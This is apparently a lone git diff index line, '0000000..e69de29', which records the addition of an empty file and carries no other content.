0000000..e69de29